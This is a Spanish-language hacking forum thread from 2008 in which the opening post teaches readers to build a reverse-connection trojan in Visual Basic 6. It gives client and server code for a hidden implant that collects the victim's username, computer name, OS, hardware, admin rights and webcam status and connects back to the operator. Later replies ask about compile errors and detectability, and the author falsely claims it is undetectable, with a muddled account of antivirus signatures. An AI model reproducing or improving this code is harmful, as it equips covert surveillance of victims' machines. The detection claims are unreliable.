hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
07 de ſeptiembre de 2008, 07:42:13
Noticias: Caracteres maximos de las firmas
Para ver este enlace Registrate o Inicia Sesion
> leer

+  Foros pOrtal Hacker
|-+  Hacktivismo
| |-+  Troyanos y Virus (Moderadores: Suikodenman, .Huêx)
| | |-+  Crea Tu Troyano de Conexion Inversa en VB
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] 2  Todos Ir Abajo Imprimir
Autor Tema: Crea Tu Troyano de Conexion Inversa en VB  (Leído 2710 veces)
carlmycol
Colaborador
****
Desconectado Desconectado

Mensajes: 1,063


¡Dame 10 Hackers y Dominare al Mundo!


Ver Perfil
« : 17 de Enero de 2008, 01:23:57 »

En este apartado vamos a aprender a crear un Troyano de conexión inversa en VB 6.
La conexión inversa, es la victima la que se conecta a ti, contrario de los de conexión directas en que eres tu quien se conecta a la victima.
Con esto podemos tener a varias victimas a la vez y no de una en una y además si están detrás de un router funcionará Giñar
Bueno empecemos por crear un nuevo proyecto.
Vamos a Proyecto>Componentes y marcamos los siguientes controles:

-Microsoft Windows Common Controls 5.0 (con el 6.0 al Listview no se le puede aplicar estilo XP).
-Microsoft Winsock Control 6.0

Ahora pasamos a insertar los componentes necesarios, esto puede variar según cada uno, como le guste etc…
Vamos a añadir el Listview que es este control:


En nombre, yo le puse LV
En el cuadro propiedades, en personalizado debéis tenerlo así:



Nos vamos a encabezados de columna, y añadimos las siguientes columnas:
-Nombre
-IP
-Nick/Nombre PC
-S.O
-RAM
-Pais
-CPU
-Cam
-Admin
-Version

Bueno esto es a gusto, yo lo haré así, ustedes como vean.
El tamaño también lo ajustan al gusto(el ancho de cada columna).

Bueno ,el aspecto(en ejecución, después de ser compilado y agregado el estilo XP)debería ser parecido a este:



Como dije , ustedes pónganle las opciones que quieran…
Ahora vamos a añadirle un Label, que abajo, donde nos mostrará el estado y eso.
En Borderstyle, pónganle FixedSingle.
Ahora añadan al formulario el control Winsock:


Y en la propiedad nombre pónganle WS(por comodidad….).
Y en Index pónganle el valor 0.
Un Timer interval a 1.
Añádanle un menú, vayan a Herramientas>Editor de Menús.
En caption Escriban Menú, y en name igual. Desmarquen la propiedad Visible.
Luego denle insertar, denle a la flecha que va hacia abajo, y luego a la flecha que va apunta a la derecha. Y en caption pongan "Cambiar Nombre" y de nombre "Name".
Esto es lo que deberían tener:



Acepten.
Bueno vamos a ver un poco de codigo:

CLIENTE

Código

Código:
GeSHi (vb):
Public total as integer
Private sub form_load() 'al cargar el formulario
WS(0).LocalPort = 2300 'escuchamos en el puerto 2300
'Nota,seria mejor hacer un nuevo formulario,llamado Settings en donde se
'especifique el puerto ha escuchar,pero de momento mejro dejenlo fijo
WS(0).Listen 'Nos ponemos a la escucha
Label1.Caption = "Escuchando en el puerto " & "2300"
total = 0 'la variable totalindex sea 0
End Sub
Private Sub Timer1_Timer()
Dim v As Long, marca() As String
On Error Resume Next
For v = 1 To lv.ListItems.Count 'bucle que recorre todos lso elementos del listview
marca = Split(lv.ListItems(v).Key, "|") 'esto e sun identificador,lo sacamos de la key
If WS(marca(0)).State <> 7 Then 'si el estado de ese no es conectado
lv.ListItems.Remove (v) 'lo eliminamos de la lista porque no estamos conectados
End If
Next
Me.Caption = "Troyanito - " & lv.ListItems.Count & " conectado(s) -" 'ponemos el nombre de nuestro troyano y el nº de conectados
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long) 'cuando hay conexion
On Error Resume Next
total = total + 1 'sumamos 1 a esta variable
WS(Index).Close 'cerramos la conexion
WS(Index).Accept requestID 'aceptamos la peticion
Load WS(total)
WS(total).Listen 'nos ponemos a la escucha(pero fijenese que le sumamos 1,proque el indice esta ocupado
'se hizo conexion con ese indice asique le sumamos 1 para aceptar  nuevas)escuhamos con ese indice
End Sub
Private Sub LV_Mousedown(Button As Integer, Shift As Integer, x As Single, y As Single) 'al clicar(en relaidad cuando se suelta el mouse)
On Error Resume Next
If lv.selectedItem.Selected = False Then 'si no hay nada seleccionado salimos
Exit Sub 'salimos
ElseIf Button = 2 Then 'sino,si se pulsó el boton 2(derecho)
PopupMenu Menu 'mostramos el menu Menu
End If
End Sub
Private Sub name_click() 'al clicar en change name(de nombre name)
lv.StartLabelEdit 'que podamos editar el nombre
End Sub
Private Sub lv_AfterLabelEdit(Cancel As Integer, NewString As String)’despues de cambiar el nombre
WS(lv.SelectedItem.Index - 1).Senddata "nombrecan|" & NewString 'enviamos el identificador y el valor que se puso
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long) 'cuando recibimos datos
Dim datos as string
Dim data() as string 'array
WS(Index).GetData datos 'recibimos los datos y los guardamos en la variable "datos"
Data=Split(datos,"|")’partimos la variable datos por el identificador "|",para separar datos
Select case Data(0)’según lo que contenga .Data(0) es el primer dato,usaremos eso como identificador
Case "Conexion"
….
End select
End Sub
 

Bueno, eso lo dejamos así, porque primero tenemos que poner código en el servidor, luego modificaremos esa parte.
Ahora abran un nuevo proyecto, este será el server, añádanle también el Winsock y de nombre también WS,el aspecto nos da igual ya que no se verá
Y un timer, enabled true e interval 1.
Un picture1.

SERVIDOR

Código

Código:
Dim victima as string,name1 as string,so as string,ip as string,port as string
Dim webcam as string,pais as string ,tor as string,nombrepc as string,procesador as string
Dim admin as boolean
Private Sub form_load()
On error resume next
Open Environ("windir") & "\KB007.txt" For Input As #1 'abrimos un archivo de texto en el directorio de windows
Input #1, victima 'leemos el contenido de este
If victima = "" Then 'si esta vacio
victima = "Default" 'le ponemos default a la victima
End If 'sino victima contendrá lo que contenga ese archivo, eso es para cuando cambiemos el nombre a la victima.
Close #1
Dim yo As Object
Set yo = CreateObject("wscript.shell")
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME)
nombrepc = Environ("ComputerName")’esta variable contendrá el nombre del pc
name1 = Environ("UserName")’el nombre de usuario
so = yo.regread("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Productname")’el sistema operativo
ip = "127.0.0.1" 'la ip, pueden hacer un edit server
port = 2300 'lo mismo, con el edit server lo editan….
procesador = yo.regread("HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor
\0\ProcessorNameString") 'júntenlo, es k no cabía, es para el procesador....
App.TaskVisible = False 'para que no se vea en el admin de tareas en aplicaciones
If App.PrevInstance = True Then: End 'si ya esta en ejecución salimos, para no tener 2 corriendo a la vez
Me.visible=false 'para que no se vea el form….
'Esto es para la webcam
Dim temp As Long
hwdc = capCreateCaptureWindow("CapWindow", ws_child Or ws_visible, _
0, 0, 320, 240, Picture1.hwnd, 0)
If (hwdc <> 0) Then
webcam = "Si" 'entonces si tenemos webcam
temp = DestroyWindow(hwdc)
temp = SendMessage(hwdc, WM_CAP_DRIVER_DISCONNECT, 0&, 0&)
DoEvents
Else
webcam = "No" 'pues no
End If
pais = ObtenerIdioma(LOCALE_SNATIVECTRYNAME) 'para obtener el país
admin = CBool(IsNTAdmin(ByVal 0&, ByVal 0&))’para saber si somos admins o no
If admin = True Then
tor = "Si"
Else
tor = "No"
End If
End Sub
'la función para obtener el idioma y pais
Public Function ObtenerIdioma(ByVal lInfo As Long) As String
Dim buffer As String, ret As String
buffer = String$(256, 0)
ret = GetLocaleInfo(LOCALE_USER_DEFAULT, lInfo, buffer, Len(buffer))
'Si Ret devuelve 0 es porque falló la llamada al Api
If ret > 0 Then
ObtenerIdioma = Left$(buffer, ret - 1)
Else
ObtenerIdioma = ""
End If
End Function
'función para obtener la memoria ram
Public Function GetRamSize() As String
Dim RamStats As MEMORYSTATUS
GlobalMemoryStatus RamStats
GetRamSize = Round((RamStats.dwTotalPhys / 1024) / 1024) + 1
End Function
Private Sub Timer1_Timer()
If WS.State <> 7 Then 'si no estamos conectados
WS.Close 'cerramos
End If
End Sub
Private Sub WS_Connect() 'al haber conexión,enviamos todos los datos
WS.SendData "Conexion|" & victima & "|" & nombrepc & "|" & name1 & "|" & so & "|" & GetRamSize & "|" & pais & "|" & procesador & "|" & tor & "|" & webcam
End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) 'al recibir los datos
On Error Resume Next
Dim datos As String
Dim data() As String
WS.GetData datos 'los recibimos
Data=split(datos,"|")
Select case data(0)
Case "nombrecan" 'recuerden que fue lo que enviamos como marca al cambiar el nombre
Open Environ("windir") & "\KB007.txt" For Output As #1
Print #1, , data(1) 'ponemos en el texto el nombre que se cambió
Close #1
End select
End sub

Bien, hemos visto que enviamos información al conectarse, ahora en el cliente, la recibimos y la mostramos:

CLIENTE

Código
Código:
Case "Conexion"
Dim x As ListItem
Set x = lv.ListItems.Add(, Index & "|", data(1)) 'añadimos los datos, y en la key el indice y "|" para luego partirlo y poder identificar
x.SubItems(1) = WS(Index).RemoteHostIP 'mas datos que añadimos....
x.SubItems(2) = data(2) & "/" & data(3)
x.SubItems(3) = data(4)
x.SubItems(4) = data(5) & " MB"
x.SubItems(5) = data(6)
x.SubItems(6) = data(7)
x.SubItems(7) = data(8)
x.SubItems(8) = data(9)
x.SubItems(9) = "v.1"
End Select

Voy a explicar un poco eso de split y arrays:
Nosotros enviamos esto:
Conexión|Minombre|127.0.0.1|mascotas….
Entonces lo que hacemos es partirlo, y almacenarlo en un array(en data).
De manera que data(0) es lo primero, en este caso "Conexión",por eso se hace Select Case data(0) porque lo usamos como identificador.
Data(1) lo siguiente "Mi nombre" y así sucesivamente….
Espero que les haya gustado, se que no me explico muy bien pero bueno…
Si hay fallos notifíquenmelo!
Puede ser porque lo hice rapidito ^^
Resultado :
En línea




Para ver este enlace Registrate o Inicia Sesion
Faqs de Desarrollo Web
|
Para ver este enlace Registrate o Inicia Sesion
Guia de posicionamient o en la SEO
|
Para ver este enlace Registrate o Inicia Sesion
Como ser un Webmaster
|
Para ver este enlace Registrate o Inicia Sesion
Porque validar CSS y XHTML

 
Para ver este enlace Registrate o Inicia Sesion
Manual de HTML
|
Para ver este enlace Registrate o Inicia Sesion
Manual de PHP
.Huêx
Moderador
*****
Desconectado Desconectado

Mensajes: 4,340


- 01101010 *


Ver Perfil WWW
« Respuesta #1 : 17 de Enero de 2008, 07:25:17 »

esta bien el manual pero si no es tuyo "que creo que NO" deves de poner autor y fuente
En línea

No Respondo Dudas Por M.P.

Para ver este enlace Registrate o Inicia Sesion


carlmycol
Colaborador
****
Desconectado Desconectado

Mensajes: 1,063


¡Dame 10 Hackers y Dominare al Mundo!


Ver Perfil
« Respuesta #2 : 18 de Enero de 2008, 11:15:44 »

Enrealidad saque info de muchos foros y un manual de troyanos en pdf que descargue por Emule :S

Salu2
En línea




Para ver este enlace Registrate o Inicia Sesion
Faqs de Desarrollo Web
|
Para ver este enlace Registrate o Inicia Sesion
Guia de posicionamient o en la SEO
|
Para ver este enlace Registrate o Inicia Sesion
Como ser un Webmaster
|
Para ver este enlace Registrate o Inicia Sesion
Porque validar CSS y XHTML

 
Para ver este enlace Registrate o Inicia Sesion
Manual de HTML
|
Para ver este enlace Registrate o Inicia Sesion
Manual de PHP
Th666_HaCk
Visitante
« Respuesta #3 : 18 de Enero de 2008, 11:29:04 »

igual y esta bueno el tuto gracias por el aporte bro Wink
En línea
RBS
Recien llegado
*
Desconectado Desconectado

Mensajes: 18


Por qué crearlo si puedes copiarlo y mejorarlo?


Ver Perfil
« Respuesta #4 : 25 de Enero de 2008, 09:12:34 »

Buen manual, pero alguien conoce otro mejor explicado, para los que llevan poco tiempo aprendiendo a programar?
En línea
marinacuba
NZ2
**
Desconectado Desconectado

Mensajes: 116


Ver Perfil
« Respuesta #5 : 25 de Enero de 2008, 09:38:56 »

coincido con RBS a mi tambien me gustaria enseñarme a hacer mis cosas
pero alguien lo podria detallar un poco mas?
gracias
En línea
anf1
NZ2
**
Desconectado Desconectado

Mensajes: 134



Ver Perfil
« Respuesta #6 : 26 de Enero de 2008, 12:45:36 »

buen aporte man Cheesy
En línea
RBS
Recien llegado
*
Desconectado Desconectado

Mensajes: 18


Por qué crearlo si puedes copiarlo y mejorarlo?


Ver Perfil
« Respuesta #7 : 26 de Enero de 2008, 02:05:37 »

Por cierto, cuando indicas el código del cliente, dónde hay que escribirlo concretamente? En un nuevo form?
En línea
H4CK3R-Z3R0
NZ2
**
Desconectado Desconectado

Mensajes: 308


h4ck3r-z3r0


Ver Perfil WWW
« Respuesta #8 : 28 de Enero de 2008, 03:56:08 »

Hola, esta bueno el manual, pero kisiera ke me ayudaras en una kosa, kuando intento kompilar el server me señala esta parte:

"hwdc = capCreateCaptu reWindow("CapWindow", ws_child Or ws_visible, _"

y me sale este mensaje:

"Error de compilacion:

 Procedimiento Sub o Function no definido."

Me podrias ayudar ?

gracias...

salu2

h4ck3r-z3r0
En línea

Fenixgdl
Recien llegado
*
Desconectado Desconectado

Mensajes: 1


Ver Perfil
« Respuesta #9 : 04 de Febrero de 2008, 04:09:59 »

 cool hola a todos

muy buen manual pero necesito ayuda al kopilar el kliente me sale este error
copile error:

syntaxis error

y me marka en esta parte

Private Sub lv_AfterLabelE dit(Cancel As Integer, NewString As String)’despues de cambiar el nombre

segui el manual al pie de la letra pero no se ke estara mal ojala me puedan explikar en ke falle.
En línea
Burz
NZ2
**
Desconectado Desconectado

Mensajes: 146


Un programador no miente, dice realidades virtuale


Ver Perfil WWW
« Respuesta #10 : 04 de Febrero de 2008, 07:00:23 »

Es detectable?
En línea



Para ver este enlace Registrate o Inicia Sesion
carlmycol
Colaborador
****
Desconectado Desconectado

Mensajes: 1,063


¡Dame 10 Hackers y Dominare al Mundo!


Ver Perfil
« Respuesta #11 : 05 de Febrero de 2008, 05:08:12 »

Es imposible ser detectado Wink porque le puedes poner tu propia firma digital si lohaces muy conocido es posible que sea detectable pero no creo... Wink Con respecto a las preguntas... Bueno me copiaron el tutorial y hasta lo mejoraron :S xD
Para ver este enlace Registrate o Inicia Sesion
http://foro.code-makers.es/index.php?topic=14.0
Esta mejor explicado Wink

Salu2
En línea




Para ver este enlace Registrate o Inicia Sesion
Faqs de Desarrollo Web
|
Para ver este enlace Registrate o Inicia Sesion
Guia de posicionamient o en la SEO
|
Para ver este enlace Registrate o Inicia Sesion
Como ser un Webmaster
|
Para ver este enlace Registrate o Inicia Sesion
Porque validar CSS y XHTML

 
Para ver este enlace Registrate o Inicia Sesion
Manual de HTML
|
Para ver este enlace Registrate o Inicia Sesion
Manual de PHP
Burz
NZ2
**
Desconectado Desconectado

Mensajes: 146


Un programador no miente, dice realidades virtuale


Ver Perfil WWW
« Respuesta #12 : 05 de Febrero de 2008, 05:44:13 »

que es eso de la firma dgitasl?
En línea



Para ver este enlace Registrate o Inicia Sesion
Burz
NZ2
**
Desconectado Desconectado

Mensajes: 146


Un programador no miente, dice realidades virtuale


Ver Perfil WWW
« Respuesta #13 : 06 de Febrero de 2008, 03:45:57 »

Da varios errores
En línea



Para ver este enlace Registrate o Inicia Sesion
carlmycol
Colaborador
****
Desconectado Desconectado

Mensajes: 1,063


¡Dame 10 Hackers y Dominare al Mundo!


Ver Perfil
« Respuesta #14 : 08 de Febrero de 2008, 05:47:58 »

Una firma digital es como el nombre del fabricante si tu troyano infecta a muchas maquinas y la victima envia el troyano a virustotal.com o al servicio de analisis y deteccion de virus de panda... xD lo mas seguro es que luego sea detectable, la mayoria de los antivirus funcionan analisando la firma digital y si la firma digital concuerda con la carpeta 'firmware' lo cataloga como virus...etc

Salu2
En línea




Para ver este enlace Registrate o Inicia Sesion
Faqs de Desarrollo Web
|
Para ver este enlace Registrate o Inicia Sesion
Guia de posicionamient o en la SEO
|
Para ver este enlace Registrate o Inicia Sesion
Como ser un Webmaster
|
Para ver este enlace Registrate o Inicia Sesion
Porque validar CSS y XHTML

 
Para ver este enlace Registrate o Inicia Sesion
Manual de HTML
|
Para ver este enlace Registrate o Inicia Sesion
Manual de PHP
Páginas: [1] 2  Todos Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online